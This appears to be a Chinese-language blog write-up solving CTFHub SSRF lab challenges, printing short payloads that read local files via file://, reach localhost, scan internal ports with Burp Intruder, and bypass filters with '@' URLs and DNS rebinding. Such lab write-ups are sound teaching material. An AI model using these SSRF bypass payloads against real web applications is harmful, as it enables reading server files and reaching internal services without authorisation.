CTFHUB SSRF

内网访问

直接访问 127.0.0.1/flag.php 即可

伪协议读取文件

?url=file:///var/www/html/flag.php

302跳转bypass

所谓的302就是 ?url=... 后面的网址 等价于 ?path=...
访问网站源码:

?url=file:///var/www/html/index.php

image
发现没有过滤 localhost
所以构造请求

?url=localhost/flag.php

即可获得 flag{}

数字IP bypass

127.0.0.1被过滤掉了
还是用

?url=file:///var/www/html/index.php

访问源码 发现localhost 没有被过滤
所以直接构造 payload

?url=localhost/index.php

即可获得flag{

端口扫描

emmm 按照提示 port为8000~9000 用burpsuite Intruder 设置 Sniper 扫描
image
得到了端口 port为 8254
然后构造

http://challenge-a8a5e51aeea1c290.sandbox.ctfhub.com:10800/?url=127.0.0.1:8254

image
得到了 flag{}

因为这个题目只说了端口 没说在 flag.php中 所以不需要访问flag.php

Url bypass

利用 @来绕过
构造 payload:

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

原理:@前面会被解析为用户名 后面解析为访问的地址

DNS 重绑定 bypass

意思是 我们本来是要 访问

?url=127.0.0.1/flag.php

获取本地的文件 但是为了绕过
我们选择另一个正常的外部域名 与本地 127.0.0.1 绑定
这样 解析器以为我们访问的是外部的正常域名 实则获得了本地的文件
https://lock.cmpxchg8b.com/rebinder.html
自己多试一些域名 ping一下看通不通
这里选的 10.212.30.215
然后burpsuite抓包发送即可获得flag{}

posted @ 2023-09-01 10:34  N0zoM1z0  阅读(6)  评论(0编辑  收藏  举报